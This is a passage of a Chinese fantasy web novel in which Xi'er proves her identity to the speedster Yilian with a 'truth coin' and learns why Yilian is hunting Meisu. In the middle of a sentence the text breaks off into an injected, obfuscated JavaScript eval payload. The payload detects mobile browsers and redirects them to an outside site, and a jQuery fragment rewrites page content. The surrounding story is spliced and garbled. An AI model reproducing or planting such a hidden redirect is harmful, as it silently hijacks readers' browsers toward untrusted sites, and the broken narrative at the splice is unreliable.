晞尔只眨个眼的功夫,颐莲的房门就从内向外落了锁,她也从四脚朝天躺在地面上被“安置”到沙发上坐好。
晞尔再一次、又一次、无比肯定现在的自己仍然不是颐莲的对手,自己的感知速度远低于颐莲的移动速度,即使神火再“逆天”,烧不到也是徒劳。
“这么看,所有速度碾压我感知丝线的能力者都比我强。”她不禁思考起来,“要提升实力,不仅要强化身体承受神火的极限,还不能忘记锤炼精神体……时刻不能松懈。”
颐莲眯着眼睛打量一圈沙发上的红发女人,胳膊和肩膀上象征力量的弧线并不结实,看得出来是近期刚练的,不久之前应该还是个弱不禁风的贵族。
她碧绿的眼睛很漂亮,但是细看似乎确藏着熟悉的“奸诈”。颐莲觉得很奇怪,回想好一会也没想起在哪见过这人。
“你知道我在找人?”颐莲问。
晞尔点头说是,颐莲抱着手臂,扬了扬下巴,眼神中一半挑衅一半质疑:
“说,我在找谁?”
“魔方先生的徒弟梅素,对吗?”晞尔心里忍不住打鼓,毕竟这只是她根据只言片语硬凑的猜测。
颐莲神色镇静地反问:
“你认识梅素?”
“不认识。”
晞尔老实地否认后便见颐莲眼神中闪过一瞬寒光,她寒毛倒竖,赶紧打消逗人的恶趣味,一五一十地说起魔方先生逝世的事、以及对梅素“速度”的了解。
尽管信息很少,但足以支撑她的推测。
晞尔的想的是,如果一个人能在颐莲如此高强度的搜索下躲藏起来,那只有两种可能,一种是他所处的位置无法被触及,另一种则是他与颐莲的速度相差无几!
“你说的都是我早就知道的”,颐莲眉头皱得更紧,“所以说,你也不知道梅素在哪?”
“我知道。”晞尔底气十足,“但前提是我得知道你找他干嘛?”她心想,假如颐莲找梅素是为了杀了他,那自己还是不趟这趟浑水了。
颐莲和晞尔过去认识时一样痛快,她毫不遮掩地回答:
“我要和他比赛。”
“比速度?”
“不然呢?斗嘴?”
晞尔被她噎得说不出话来,好不容易才继续问下去:
“就仅仅只是比赛?赢了会怎么样?”
“没有,就仅仅是一场比赛。这是我老师的遗愿,也是他老师魔方先生的意志,可梅素这个懦夫竟然躲了起来!”
晞尔听得有些糊涂,还想继续剖根究底,颐莲忽然闪到了她面前:
“我是不是在哪见过你?”
晞尔震惊,她与颐莲虽然相识,但是毕竟只有几面之缘,一个多月不见,她却还对自己有印象。
“我说我不是恶人,你怎么看?”
“多管闲事,不一定。”
晞尔叹了口气:
“那我说我是晞尔,公职选拔大会第三轮,你帮助过的那个‘晞尔’,你又怎么看?”
颐莲闻言,俯身将脸凑近红发女人的脸,仔仔细细扫了一遍:
“你等等。”说着,她从腰间的口袋中掏出一枚锈得看不出图案的圆形钱币,双手搓热后放到晞尔手上,又将自己的手掌覆在最上。
“好了,你接着说吧。”颐莲道,“这是真相之币,如果你撒谎,真相之币紧贴皮肤也会寒冷如冰锥。它冷下去的十分之一秒内”,她指向窗外,“你的脑袋会出现在花圃里。”
晞尔浑身起了一层鸡皮疙瘩,安娜也忍不住嘟囔着问她为什么来招惹这种人……
真是个冷酷的女人啊,她感叹道:
“我是晞尔。”
不好!晞尔说完便感到手心有微弱的凉意,房间里杀气跟着浓郁起来,她赶忙补充道:
“我的灵魂是晞尔!”
手心凉意不在,硬币又恢复了体温的温热。
颐莲收回手,将真相之币随手扔到床上:
“你怎么搞成这模样?”她面露嫌弃,“不像个能干活的样子!”
直到对面相信了自己的说辞,晞尔放心下来,这才发现背后的里衣已经被汗浸透。
“你以为我想啊……还不是生活所迫。”她抱怨道,“你要不要这么冷酷,说摘人的脑袋就摘……”
“我一向这样,还不是你神神秘秘,早说不就得了。”
好吧,晞尔觉得她说的也有道理,索性不再争论谁对谁错。颐莲问了她这段时间的经历,她也将自己怎么被迫使用这具身体的缘故告诉了她。
颐莲听了一阵唏嘘,反复拉着她的胳膊前后观察,并发出意味不明的“啧啧”声。
“所以你老师的意愿、和梅素比赛、还有魔方先生到底是怎么一回事?”
颐莲倚在床头讲了起来。
颐莲的老师是疾风女士,与颐莲一样是一名“瞬移者”。
魔方先生是她前任丈夫,两人于两百多年前结婚,一百多年前分开。在一起的一百年间,二人互相认可对方为自己的知己和终生爱人。
这本是一段强强联合、唯美感人的爱情故事,唯独有缺憾的是,二人最终还是因为理想不同而分道扬镳。
疾风女士一生追求探究力量的本源和人的极限,本来魔方先生也是如此,可在一百年前,他突然放弃了对原本理想的追求,转而享受平静安宁的生活,二人自此分开各自生活。
后来,魔方先生迷恋上了源能科技,遂搬到了源能科技创新频生的斯沃奇生活。他的这一举动使疾风女士不满,她认为源能科技是投机取巧的玩意,是引诱人放弃锻炼自身能力的恶魔之果,她坚决反对魔方先生在源能科技上下心思。
魔方先生对前妻的“老派”的观点不屑一顾,二人争论了三天三夜都没有说服彼此。最终二人决定用真正的实力说话,约定每十年较量一次,谁先赢够七次、谁的观点就是正确的。
一百年间发生了十次比赛,疾风女士胜六局,魔方先生只胜四局。
第十一次比赛约定在今年春天的第一日。
那天,疾风女士如约到达约定的地点,奇怪的是,她苦等一天也没有等到对手现身。
疾风女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184190|173247||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
士气他再一次背弃诺言,马不停蹄地带着颐莲到达斯沃奇找他泄愤,才从梅素口中听到“爽约”的前夫已在去年身亡的消息。
回到家后,疾风女士的身体每况愈下,任何药材和治疗都不见丝毫成效。
也许是她去意已决,仅仅三个月的时间,她便撒手离开了。
“老师是在春天的最后一日离开的,她说,她最大的遗憾就是没有完成最后一场比赛。”
一个月后,处理完老师后事的颐莲再次来到斯沃奇,试图找到魔方先生唯一的学生梅素替老师完成未竟的心愿,当她到达魔方先生的住处后,却发现已经被烧成一片废墟。
“三个月前我和老师来过,当时那里还不是这样。”颐莲说,“我到处打听,才知道,有路过叫卖的商贩亲眼看到梅素一把火将魔方先生的小楼付之一炬。”
梅素临走前居然烧了老师的故居?晞尔不可思议地问:
“他人呢?”
“他临走前,到处跟别人说他要进王宫。”颐莲回答,“因此我也出现在了这里。”
梅素……进王宫?
“对了,以前就想问你,凭借你的身手,就算不当王宫护卫也能进出自由,你为什么偏偏要给自己找个还要接受束缚的护卫身份呢?”
颐莲罕见地脸红了一秒:
“我没钱。”她尴尬地移开视线,“需要找个包吃包住的地方。”
“你没钱?”晞尔瞪圆眼睛,名师的学生,能力又这么强,居然会没钱?从颐莲这样脱俗的人口中听到这么俗气的话……还真是特别。
“嗯……我老师其实也没什么钱。”颐莲解释说,“我们不效忠于任何组织和贵族,又不会固定的打工,没钱很奇怪吗?”
晞尔想想也对:
“那你们……这么多年靠什么生活?”
“钱花光了就去接一两单雇佣兵的委托,一次的奖赏能用挺久。”
“噢……”晞尔似懂非懂地点头。
“喂!说回正题。”颐莲问:
“你说有梅素的线索?不会是骗我的吧!”她眯着眼威胁道,“虽然我现在不会把你的头拧断,但不保证会不会把你扔到马厩的粪坑里!”
“当然有!”晞尔赶紧说,“我能找到梅素的哥哥,他恰好是我朋友的朋友。”
她说的这位朋友自然是海拉了,虽然她并不十分确定海拉把她当做朋友,但早些时间她确实问过海拉关于梅素哥哥的事,海拉说可以引荐她们见面。
“梅素的哥哥?”颐莲想了想,“我不了解梅素的家庭关系,但也许帮得上忙!”
“好,那我就派秘书为你们约定见面时间”,晞尔高兴地介绍起来,“我的秘书名叫马维兹,出于巧合的原因,他这几天就住在你隔壁。”
颐莲点头,“等等,你现在叫法米娜·加纳,对吧?”
“是的。”
“你会一直用这个名字吗?”
“不!”晞尔果断地否认,“等一切尘埃落定后,我就能恢复自由,虽然离不开这具身体,但总有一天能换回自己的名字!”